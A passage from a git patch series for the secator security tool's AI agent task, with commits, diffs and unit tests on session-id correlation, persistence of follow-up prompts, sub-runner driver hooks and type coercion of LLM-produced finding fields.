TestRemoteResumeBranch(unittest.TestCase): + """Verify the yielder remote-resume branch picks Mongo restore vs fresh start.""" + + def _make_task(self, prior_docs, backend_name="mongodb"): + from secator.tasks.ai import ai + + task = ai.__new__(ai) + # Minimal attributes the branch touches + task.interactive = "remote" + task.session_id = "sess-123" + task.session_name = "" + task.mode = "chat" + task.model = "gpt-4o" + task.encryptor = None + task.context = {"workspace_id": "ws1", "drivers": ["mongodb"]} + task.run_opts = {"prompt": "Tell me about this workspace"} + # An existing dir short-circuits the reports_folder property (no dir creation) + task._reports_folder = tempfile.mkdtemp(prefix="secator-test-") + task.backend = MagicMock() + task.debug = MagicMock() + task.history = MagicMock() + + # Stub query engine + engine = MagicMock() + engine.backend = MagicMock() + engine.backend.name = backend_name + + def _search(query, limit=0): + if query.get("_type") == "ai" and "session_id" in query: + return prior_docs + return [] + engine.search.side_effect = _search + task._get_query_engine = MagicMock(return_value=engine) + return task, engine + + def test_fresh_when_no_prior_docs(self): + task, engine = self._make_task(prior_docs=[]) + # Generator return value is the StopIteration value. + gen = task._maybe_resume_remote() + restored = None + try: + while True: + next(gen) + except StopIteration as e: + restored = e.value + self.assertFalse(restored) + + @patch("secator.tasks.ai.restore_history_from_db") + @patch("secator.tasks.ai.get_system_prompt", return_value="SYS") + def test_restores_when_prior_docs(self, mock_sys, mock_restore): + mock_history = MagicMock() + mock_history.messages = [{"role": "system", "content": "SYS"}] + mock_restore.return_value = mock_history + + task, engine = self._make_task(prior_docs=[{"ai_type": "prompt", "content": "hi"}]) + # Stub the heavy methods the branch calls + task._detect_mode = MagicMock() + task._run_loop = MagicMock(return_value=iter([])) + + gen = task._maybe_resume_remote() + restored = None + try: + while True: + next(gen) + except StopIteration as e: + restored = e.value + + self.assertTrue(restored) + mock_restore.assert_called_once() + # Restored from Mongo via the resolved query engine + _, kwargs = mock_restore.call_args + self.assertEqual(mock_restore.call_args[0][0], "sess-123") + task._run_loop.assert_called_once() + + @patch("secator.tasks.ai.restore_history_from_db") + @patch("secator.tasks.ai.get_system_prompt", return_value="SYS") + def test_warns_on_non_mongo_backend(self, mock_sys, mock_restore): + from secator.output_types import Warning as WarningType + mock_restore.return_value = MagicMock(messages=[]) + + task, engine = self._make_task( + prior_docs=[{"ai_type": "prompt", "content": "hi"}], backend_name="local") + task._detect_mode = MagicMock() + task._run_loop = MagicMock(return_value=iter([])) + + items = [] + gen = task._maybe_resume_remote() + try: + while True: + items.append(next(gen)) + except StopIteration: + pass + + warnings = [i for i in items if isinstance(i, WarningType)] + self.assertTrue(any("remote" in w.message for w in warnings)) + + +if __name__ == "__main__": + unittest.main() From 94c43f3f1d0e2c926f9b51edc6b43469bf043360 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 09:07:15 +0200 Subject: [PATCH 090/129] fix(ai): stamp session_id on every Ai item for the remote-channel transcript MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The web UI correlates an AI chat conversation by session_id (across respawns), but only the resume-prompt and follow_up items set it — the prompt/response/ token_usage/chat_compacted message items did not, so they persisted to Mongo without session_id and the UI's {_type:"ai", session_id} query returned nothing (empty transcript despite the task running fine). Wrap yielder to stamp session_id on every Ai item centrally (self.session_id is set in _init_options before the first yield). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 93dd4be4b..bededda96 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -119,6 +119,17 @@ def requires_local_execution(cls, inputs, run_opts): # ------------------------------------------------------------------------- def yielder(self) -> Generator: + """Stamp every Ai item with the session_id so the remote-channel transcript + is queryable by session_id. The web UI correlates the whole conversation + (across respawns) by session_id, so a message item without it is invisible. + _init_options() sets self.session_id before the first yield, so the stamp + is always valid here.""" + for _item in self._yielder(): + if isinstance(_item, Ai) and not getattr(_item, "session_id", ""): + _item.session_id = self.session_id + yield _item + + def _yielder(self) -> Generator: """Execute AI task.""" # Addon / setup check if self.inputs == ['setup']: From 787f480bf911e559419af292cbf4c9ad63bf26af Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 10:32:06 +0200 Subject: [PATCH 091/129] fix(ai): read session_id from self.context (dispatch drops run_opts.context) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The web UI's session_id arrives on the runner context, but the Task dispatcher sends self.context (not run_opts['context']) to the worker and pops run_opts['context'] — so in the worker run_opts.context is empty and session_id fell back to the prompt label, never matching the UI's UUID (empty transcript). Prefer self.context for session_id. Pairs with secator-api adding session_id to the RunnerContext model so it survives validation into self.context. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index bededda96..6592af41e 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -560,9 +560,17 @@ def _init_options(self): # Create interactivity backend. # For the remote (web) channel, the UI generates a stable session_id and - # reuses it verbatim on respawn (passed in run_opts.context.session_id); - # prefer it so a respawned task can find its prior `_type:"ai"` docs. - self.session_id = self.passed_context.get("session_id") or self.session_name or str(self.id) + # reuses it verbatim on respawn so a respawned task finds its prior + # `_type:"ai"` docs. It arrives on the runner context (self.context) — + # the dispatcher sends self.context to the worker (task.py build_celery) + # and pops run_opts['context'], so self.context is authoritative here; + # run_opts['context'] only carries it for local/sync runs. + self.session_id = ( + self.passed_context.get("session_id") + or (self.context or {}).get("session_id") + or self.session_name + or str(self.id) + ) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) # Auto-approve workspace targets From 870ab2a4a9a777fb50ea646b6e8fd72d50bfb54e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 11:38:49 +0200 Subject: [PATCH 092/129] fix(ai): correlate chat channel by _context.session_id (top-level was empty) Persisted _type:"ai" docs had session_id="" but _context.session_id=: the runner auto-stamps item._context = self.context, so _context.session_id is reliably present, while the top-level session_id field never landed. Query _context.session_id in _poll_for_answer, the timeout update, restore_history_from_db and the resume check; drop the now-pointless yielder session_id stamp. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 7 +++++-- secator/ai/session.py | 2 +- secator/tasks/ai.py | 13 +------------ 3 files changed, 7 insertions(+), 15 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 7744ae2e1..98c2d7d5d 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -142,7 +142,10 @@ def _poll_for_answer(self, session_id, prompt_type): results = self.query_engine.search({ "_type": "ai", "ai_type": prompt_type, - "session_id": session_id, + # Correlate by the runner context's session_id: it's auto-stamped on + # every persisted item (item._context = self.context), so it's always + # present — unlike the top-level session_id field. + "_context.session_id": session_id, "status": "answered" }, limit=1) if results: @@ -151,7 +154,7 @@ def _poll_for_answer(self, session_id, prompt_type): elapsed += self.poll_interval # Timeout: update finding status self.query_engine.update( - {"_type": "ai", "ai_type": prompt_type, "session_id": session_id, "status": "pending"}, + {"_type": "ai", "ai_type": prompt_type, "_context.session_id": session_id, "status": "pending"}, {"$set": {"status": "timed_out"}} ) return None diff --git a/secator/ai/session.py b/secator/ai/session.py index ea1ffae48..3af15fe63 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -222,7 +222,7 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None history.set_system(maybe_encrypt(system_prompt, encryptor)) try: - docs = query_engine.search({'_type': 'ai', 'session_id': session_id}) + docs = query_engine.search({'_type': 'ai', '_context.session_id': session_id}) except Exception as e: # noqa: BLE001 - backend errors must not crash the worker console.print(Warning(message=f'Failed to restore session from DB: {e}')) return history diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 6592af41e..05c161595 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -119,17 +119,6 @@ def requires_local_execution(cls, inputs, run_opts): # ------------------------------------------------------------------------- def yielder(self) -> Generator: - """Stamp every Ai item with the session_id so the remote-channel transcript - is queryable by session_id. The web UI correlates the whole conversation - (across respawns) by session_id, so a message item without it is invisible. - _init_options() sets self.session_id before the first yield, so the stamp - is always valid here.""" - for _item in self._yielder(): - if isinstance(_item, Ai) and not getattr(_item, "session_id", ""): - _item.session_id = self.session_id - yield _item - - def _yielder(self) -> Generator: """Execute AI task.""" # Addon / setup check if self.inputs == ['setup']: @@ -264,7 +253,7 @@ def _maybe_resume_remote(self): # Look for prior `_type:"ai"` docs for this session try: - prior = query_engine.search({"_type": "ai", "session_id": self.session_id}, limit=1) + prior = query_engine.search({"_type": "ai", "_context.session_id": self.session_id}, limit=1) except Exception as e: # noqa: BLE001 - backend errors must not crash the worker self.debug(f'remote resume: failed to query prior docs: {e}', sub='llm') prior = None From 01cff02a14c4c6f48919b2d32d9c86c03de70c5f Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 15:16:52 +0200 Subject: [PATCH 093/129] fix(ai): make remote follow-up doc renderable (status=pending + top-level choices) In the web AI chat, when the worker hit a follow_up the persisted `_type:"ai"` doc had `status:""` and empty top-level `choices`, so the UI (which gates on `status=="pending"` and reads `m.choices`) stayed stuck on "thinking" with no question/buttons. Two root causes: 1. `_handle_follow_up` (ai/actions.py) stored choices ONLY in `extra_data["choices"]`, never on the top-level `Ai.choices` field the UI reads -> persisted `choices: []`. Now populate both. 2. `_dispatch_and_collect` (tasks/ai.py) persisted the follow_up Ai via `add_result()` (status="") BEFORE the main loop mutated it to `status="pending"`. Since `add_result` dedupes by `_uuid`, the later re-yield could never re-persist the pending state. Now, for a RemoteBackend run, stamp `status="pending"` + top-level `choices` + `session_id` on the single Ai BEFORE the one `add_result`, so the one persisted doc is renderable. The redundant re-stamp/yield in the main loop is removed. Local/CLI follow-up is untouched (remote-only branch). No secator-ui change needed: the doc now carries top-level `choices` and `status=="pending"`. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 5 ++- secator/tasks/ai.py | 26 ++++++++---- tests/unit/test_ai_actions.py | 3 ++ tests/unit/test_ai_loop.py | 76 +++++++++++++++++++++++++++++++++++ 4 files changed, 102 insertions(+), 8 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 63c010d2c..7c880eaac 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -444,7 +444,10 @@ def _handle_follow_up(action: Dict, ctx: ActionContext) -> Generator: context = _get_result_context(action, ctx) reason = action.get("reason", "completed") choices = action.get("choices", []) - yield Ai(content=reason, ai_type="follow_up", extra_data={"choices": choices}, _context=context) + # Store choices on the top-level `choices` field (what the web UI reads) AND in + # extra_data (back-compat). Without the top-level field, the persisted follow-up + # doc has `choices: []` and the UI renders no choice buttons. + yield Ai(content=reason, ai_type="follow_up", choices=choices, extra_data={"choices": choices}, _context=context) def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 05c161595..242a900e5 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -440,11 +440,11 @@ def _run_loop(self) -> Generator: # Follow-up / content-only / max_iter → prompt user if follow_up_choices is not None or not tool_calls or iteration == self.max_iterations: - # For remote follow-up, yield the pending Ai so frontend can show it - if follow_up_ai and isinstance(self.backend, RemoteBackend): - follow_up_ai.status = "pending" - follow_up_ai.session_id = self.session_id - yield follow_up_ai + # Remote follow-up: the pending Ai (status="pending" + top-level choices + + # session_id) was already stamped and persisted as a single doc in + # _dispatch_and_collect (add_result dedupes by _uuid, so persistence can + # only happen once). Nothing to re-yield here — the frontend reads the + # persisted doc. result = self._prompt_and_redetect(follow_up_choices or []) if result is None: @@ -811,12 +811,24 @@ def _dispatch_and_collect(self, actions, ctx): is_from_subagent = isinstance(result, OutputType) and bool(result._context.get('subagent')) if isinstance(result, Ai): - self.add_result(result, print=not is_from_subagent) if result.ai_type == "follow_up": follow_up_ai = result follow_up_choices = result.choices or (result.extra_data or {}).get("choices", []) + # Persist the follow-up doc in its FINAL renderable state. add_result() + # dedupes by _uuid, so once persisted here it can never be re-persisted + # (the later `yield follow_up_ai` in the main loop is dropped). For a + # remote run, stamp status="pending" + top-level choices + session_id + # BEFORE the single add_result, so the one persisted doc is what the web + # UI needs: status=="pending" (clears "thinking") and non-empty choices. + if isinstance(self.backend, RemoteBackend): + follow_up_ai.status = "pending" + follow_up_ai.session_id = self.session_id + if not follow_up_ai.choices and follow_up_choices: + follow_up_ai.choices = list(follow_up_choices) + self.add_result(result, print=not is_from_subagent) continue - elif result.ai_type == "stopped": + self.add_result(result, print=not is_from_subagent) + if result.ai_type == "stopped": stop_reason = result.content continue if result.ai_type not in ("shell_output", "response"): diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 05ff6c99b..1d1122a6b 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -119,6 +119,9 @@ def test_follow_up_with_choices(self): self.assertEqual(results[0].ai_type, 'follow_up') self.assertEqual(results[0].content, 'What next?') self.assertEqual(results[0].extra_data['choices'], ['Scan deeper', 'Try SQL injection']) + # Choices must also land on the top-level `choices` field (what the web UI reads), + # not only in extra_data — otherwise the persisted follow-up doc renders no buttons. + self.assertEqual(results[0].choices, ['Scan deeper', 'Try SQL injection']) @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index 39e179cfd..bbc3a0cd1 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -307,6 +307,82 @@ def test_stop_yields_ai_stopped(self): self.assertIn("completed", ai_results[0].content) +# ============================================================================= +# UNIT TESTS: Remote follow-up persistence (status + top-level choices) +# ============================================================================= + +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestRemoteFollowUpPersistence(unittest.TestCase): + """In remote mode, the single persisted follow-up doc must be renderable: + status=="pending" + non-empty top-level `choices` (what the web UI reads).""" + + def _run_dispatch(self, backend): + """Drive the real ai._dispatch_and_collect with a minimal fake self. + + Returns (yielded_items, persisted_items) where persisted_items are what + add_result() received (i.e. what the mongodb on_item hook would persist). + """ + from secator.tasks.ai import ai as AiTask + + choices = ["Fuzz parameters", "Run nuclei", "Deep crawl"] + follow_up = Ai( + content="Presenting actionable next steps", + ai_type="follow_up", + extra_data={"choices": choices}, + _context={"tool_call_id": "tc_fu", "tool_call_name": "follow_up"}, + ) + + persisted = [] + + class _FakeHistory: + def get_action_budget(self, model): + return 10000 + + def add_tool_result(self, *a, **k): + pass + + fake_self = MagicMock() + fake_self.backend = backend + fake_self.session_id = "sess-123" + fake_self.model = "test-model" + fake_self.reports_folder = None + fake_self.history = _FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + ctx = MagicMock() + ctx.results = [] + + def _fake_dispatch_action(action, c): + yield follow_up + + with patch("secator.tasks.ai.dispatch_action", _fake_dispatch_action): + gen = AiTask._dispatch_and_collect(fake_self, [{"tool_call_id": "tc_fu"}], ctx) + yielded = list(gen) + return yielded, persisted, follow_up + + def test_remote_follow_up_persisted_pending_with_choices(self): + backend = RemoteBackend(timeout=60, query_engine=MagicMock()) + yielded, persisted, follow_up = self._run_dispatch(backend) + + # Exactly one follow_up Ai is persisted (no duplicate display + pending docs). + fu_docs = [p for p in persisted if isinstance(p, Ai) and p.ai_type == "follow_up"] + self.assertEqual(len(fu_docs), 1) + doc = fu_docs[0] + self.assertEqual(doc.status, "pending") + self.assertEqual(doc.choices, ["Fuzz parameters", "Run nuclei", "Deep crawl"]) + self.assertEqual(doc.session_id, "sess-123") + # Same object → single doc by _uuid. + self.assertIs(doc, follow_up) + + def test_local_follow_up_not_stamped_pending(self): + """CLI/local mode must NOT stamp status=pending (drives the TUI menu directly).""" + backend = CLIBackend() + yielded, persisted, follow_up = self._run_dispatch(backend) + fu_docs = [p for p in persisted if isinstance(p, Ai) and p.ai_type == "follow_up"] + self.assertEqual(len(fu_docs), 1) + self.assertNotEqual(fu_docs[0].status, "pending") + + # ============================================================================= # UNIT TESTS: Backend and tool schema behavior # ============================================================================= From 6665fd8cd617204a26706048ddbfd8c305fea115 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:11:43 +0200 Subject: [PATCH 094/129] fix(ai): persist sub-runner results to workspace + emit runner id MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ai task dispatches task/workflow sub-runners in-process and runs them synchronously. The runner framework only re-registers driver hooks (mongodb/api) from context['drivers'] on the pickle path (__setstate__, used by Celery workers) — a sync sub-runner never hits that path. So the sub-runner inherited the ai task's workspace_id/drivers in its context but registered no driver hooks: its update_runner/update_finding hooks never fired, its runner doc + findings were never persisted, and the sub-runs were absent from the workspace History. Build the hooks dict from context['drivers'] (mirroring the CLI entrypoint in cli_helper) and pass hooks= to each dispatched sub-runner, so its results are workspace-scoped and appear in History exactly like a normal runner. Also emit the created runner's id on the action Ai item (extra_data.runner_id + extra_data.runner_type) so the UI can link the action to a RunnerCard. The Ai item is now emitted after the runner is constructed (its on_init hook stamps the id into context), and is emitted even in batch/silent mode so the action doc is always persisted. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 79 +++++++++++++++++++++++++++++++++-- tests/unit/test_ai_actions.py | 75 ++++++++++++++++++++++++++++++++- 2 files changed, 149 insertions(+), 5 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 7c880eaac..aa46f6009 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -70,6 +70,53 @@ def _sanitized_env() -> dict: and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} +def _build_hooks_from_context(context: Dict) -> Dict: + """Build the runner hooks dict from ``context['drivers']``. + + Sub-runners dispatched by the ai task are constructed in-process and run + synchronously, so the framework's pickle path (``__setstate__``, which + re-registers driver hooks from ``context['drivers']``) never runs for them. + Without this, a sub-runner inherits the ai task's ``workspace_id`` / + ``drivers`` in its context but registers *no* driver hooks — so its + ``mongodb``/``api`` ``update_runner``/``update_finding`` hooks never fire and + its runner doc + findings are never persisted to the workspace. The result: + sub-runs are absent from the workspace History. + + This mirrors the normal CLI entrypoint (``cli_helper._run``): import each + driver's ``secator.hooks..HOOKS`` and ``deep_merge_dicts`` them into a + single class-keyed dict (keyed by ``Scan``/``Workflow``/``Task``). The dict is + returned raw (not flattened) because ``Task``/``Workflow`` forward + ``self._hooks.get(Task, {})`` down to their command/task signatures. + + Args: + context: Runner context dict (expects ``drivers`` list). + + Returns: + dict: Merged hooks dict suitable for ``runner_cls(..., hooks=hooks)``. + """ + from secator.loader import discover_external_drivers, get_available_drivers, order_drivers + from secator.utils import import_dynamic, deep_merge_dicts + + drivers = list(context.get('drivers', [])) + if not drivers: + return {} + discover_external_drivers() + # Order by canonical priority so authoritative backends (e.g. mongodb) register + # their hooks before relay drivers (e.g. api) — same ordering as __setstate__. + drivers = order_drivers(drivers) + supported = set(get_available_drivers()) + hooks_list = [] + for driver in drivers: + if driver not in supported: + continue + driver_hooks = import_dynamic(f'secator.hooks.{driver}', 'HOOKS') + if driver_hooks: + hooks_list.append(driver_hooks) + if not hooks_list: + return {} + return deep_merge_dicts(*hooks_list) + + def _build_action_display(action: Dict) -> str: """Build a display string for the action being checked. @@ -292,9 +339,6 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator yield Info(message=f"[DRY RUN] Would run {runner_type}: {name} on {targets}", _context=context) return - if not ctx.silent: - yield Ai(content=name, ai_type=runner_type, extra_data={"targets": targets, "opts": opts}, _context=context) - run_opts = { "print_item": not ctx.silent, "print_line": ctx.verbose and not ctx.silent, @@ -315,11 +359,38 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator context["task_chunk_id"] = str(uuid.uuid4()) if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) + + # Propagate the ai task's driver hooks (mongodb/api) into the sub-runner. + # The context already carries workspace_id/workspace_name/drivers (see + # _get_result_context), but a sync sub-runner never goes through the pickle + # path that re-registers driver hooks — so without this its results would + # persist with no workspace scope and never appear in the workspace History. + hooks = _build_hooks_from_context(context) try: - runner = runner_cls(tpl, targets, run_opts=run_opts, context=context) + runner = runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context) except TaskNotFoundError as e: yield Error(message=str(e), _context=context) return + + # Emit the action Ai item now that the runner exists: its on_init hook has + # stamped the runner id into context, so we can surface it on the item + # (extra_data.runner_id/runner_type) for the UI to link to a RunnerCard. + # Emit even when silent (batch mode): silent only suppresses live console + # chatter, but the action doc must still be yielded so it is persisted and + # the UI can render a RunnerCard for it. + runner_id = runner.id or context.get(f"{runner_type}_id", "") + yield Ai( + content=name, + ai_type=runner_type, + extra_data={ + "targets": targets, + "opts": opts, + "runner_id": runner_id, + "runner_type": runner_type, + }, + _context=context, + ) + yield from runner # Auto-allow reading from the spawned runner's reports folder diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 1d1122a6b..4449f8c47 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -9,7 +9,8 @@ if ADDONS_ENABLED['ai']: from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, - _handle_query, _handle_add_finding, _run_runner, _decrypt_dict + _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, + _build_hooks_from_context ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -319,6 +320,78 @@ def test_run_runner_uses_ctx_targets_as_default(self): self.assertIn('default.com', results[0].message) + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """Sub-runner must receive driver hooks (so its results persist) and the + emitted action Ai must carry the created runner's id + type for the UI.""" + sentinel_hooks = {'fake': ['hook']} + mock_build_hooks.return_value = sentinel_hooks + + # Fake runner: an iterable whose id is populated (mimics on_init stamping it) + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + results = list(_run_runner(action, ctx, 'task')) + + # Runner constructed with hooks= from the context drivers + _, kwargs = mock_task_cls.call_args + self.assertEqual(kwargs.get('hooks'), sentinel_hooks) + self.assertEqual(kwargs.get('context', {}).get('workspace_id'), 'ws1') + + # Action Ai item carries runner_id + runner_type + ai_items = [r for r in results if isinstance(r, Ai) and r.ai_type == 'task'] + self.assertEqual(len(ai_items), 1) + self.assertEqual(ai_items[0].extra_data.get('runner_id'), 'runner123') + self.assertEqual(ai_items[0].extra_data.get('runner_type'), 'task') + + +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestBuildHooksFromContext(unittest.TestCase): + """Tests for _build_hooks_from_context (driver name -> hooks dict).""" + + def test_no_drivers_returns_empty(self): + self.assertEqual(_build_hooks_from_context({}), {}) + self.assertEqual(_build_hooks_from_context({'drivers': []}), {}) + + @patch('secator.loader.get_available_drivers') + @patch('secator.loader.order_drivers') + @patch('secator.loader.discover_external_drivers') + @patch('secator.utils.import_dynamic') + def test_builds_hooks_from_driver_names(self, mock_import, _disc, mock_order, mock_avail): + from secator.runners import Task + mock_order.side_effect = lambda d: d + mock_avail.return_value = ['mongodb', 'api'] + mongo_hooks = {Task: {'on_init': ['update_runner']}} + mock_import.return_value = mongo_hooks + + hooks = _build_hooks_from_context({'drivers': ['mongodb']}) + + mock_import.assert_called_once_with('secator.hooks.mongodb', 'HOOKS') + self.assertIn(Task, hooks) + self.assertIn('on_init', hooks[Task]) + + @patch('secator.loader.get_available_drivers') + @patch('secator.loader.order_drivers') + @patch('secator.loader.discover_external_drivers') + @patch('secator.utils.import_dynamic') + def test_skips_unsupported_driver(self, mock_import, _disc, mock_order, mock_avail): + mock_order.side_effect = lambda d: d + mock_avail.return_value = ['mongodb'] + hooks = _build_hooks_from_context({'drivers': ['bogus']}) + self.assertEqual(hooks, {}) + mock_import.assert_not_called() + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestGetQueryEngine(unittest.TestCase): From 7a447aa7611eb52ba7c5830a63ce6a05d3da2db6 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 17:35:35 +0200 Subject: [PATCH 095/129] feat(ai): stamp created finding on add_finding action item (extra_data.finding) So the web UI can render the finding's FindingCard (VulnerabilityCard/etc.) for an add_finding action. The finding is serialized (toDict, includes _type for routing). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index aa46f6009..7de178137 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -593,6 +593,9 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: yield Ai( content=f'{str(finding)}', ai_type="add_finding", + # Carry the created finding so the web UI can render its FindingCard + # (VulnerabilityCard/SubdomainCard/…) — it routes on `_type`. + extra_data={"finding": finding.toDict()}, _context=context ) yield finding From eeea43605a86fe1ae045a2a7222d0b0f54ae710e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 18:36:45 +0200 Subject: [PATCH 096/129] fix(ai): coerce add_finding scalars to declared field types before validation LLMs frequently emit wrong-typed scalars in add_finding (a bool field as the string "true", an int as "3"), which validate_fields then rejected, dropping the finding. Add _coerce_finding_fields(cls, data), called before validate_fields, that fixes obvious type mismatches (bool/int/float/list) while leaving valid values, unknown keys, and unparseable values untouched so real errors still surface. Field type resolution is robust to both actual-type and string annotations (from __future__ import annotations), mirroring validate_fields. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 104 ++++++++++++++++++++++++++++++++++ tests/unit/test_ai_actions.py | 73 +++++++++++++++++++++++- 2 files changed, 176 insertions(+), 1 deletion(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 7de178137..a9c2c2b10 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -528,6 +528,106 @@ def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: yield Ai(content=reason, ai_type="stopped", _context=context) +def _resolve_field_type(f) -> Optional[type]: + """Resolve a dataclass field's declared type to a concrete builtin type. + + Mirrors ``OutputType.validate_fields``: ``f.type`` may be an actual type + (``bool``) or — under ``from __future__ import annotations`` — a string + annotation (``'bool'``). Returns the concrete type (``bool``/``int``/ + ``float``/``list``/``dict``/``str``) or ``None`` if it can't be resolved. + """ + t = f.type + # Actual type, e.g. bool / int / float / str + if isinstance(t, type): + return t + # Typing generic, e.g. List[str] -> list + origin = getattr(t, '__origin__', None) + if origin is not None: + return origin + # String annotation, e.g. 'bool', 'int', "List[str]" + if isinstance(t, str): + name = t.split('[', 1)[0].strip().lower() + return { + 'bool': bool, 'int': int, 'float': float, + 'str': str, 'list': list, 'dict': dict, + }.get(name) + return None + + +def _coerce_finding_fields(cls, data: Dict) -> Dict: + """Coerce AI-provided scalar values to a finding class's declared field types. + + LLMs frequently emit wrong-typed scalars (a ``bool`` field as the string + ``"true"``, an ``int`` as ``"3"``). This fixes *obvious* type mismatches + before validation so the finding isn't rejected for model type sloppiness. + + Only coerces when safe; unknown keys, already-correct values, and + unparseable values are left untouched (validation will still surface a real + error rather than silently dropping data). + """ + field_types = {f.name: _resolve_field_type(f) for f in fields(cls)} + for key, value in list(data.items()): + if key.startswith('_'): + continue + expected = field_types.get(key) + if expected is None or value is None: + continue + # Already the right type (note: bool is a subclass of int, so guard it). + if isinstance(value, expected) and not (expected is int and isinstance(value, bool)): + continue + + if expected is bool: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = bool(value) + elif isinstance(value, str): + s = value.strip().lower() + if s in ('true', '1', 'yes', 'on'): + data[key] = True + elif s in ('false', '0', 'no', 'off', ''): + data[key] = False + elif expected is int: + # Avoid coercing real bools into ints. + if isinstance(value, bool): + continue + if isinstance(value, float): + if value.is_integer(): + data[key] = int(value) + elif isinstance(value, str): + try: + data[key] = int(value) + except ValueError: + try: + f_val = float(value) + if f_val.is_integer(): + data[key] = int(f_val) + except ValueError: + pass + elif expected is float: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = float(value) + elif isinstance(value, str): + try: + data[key] = float(value) + except ValueError: + pass + elif expected is list: + if isinstance(value, str): + s = value.strip() + if s.startswith('['): + try: + parsed = json.loads(s) + if isinstance(parsed, list): + data[key] = parsed + except (json.JSONDecodeError, TypeError): + pass + # str fields: 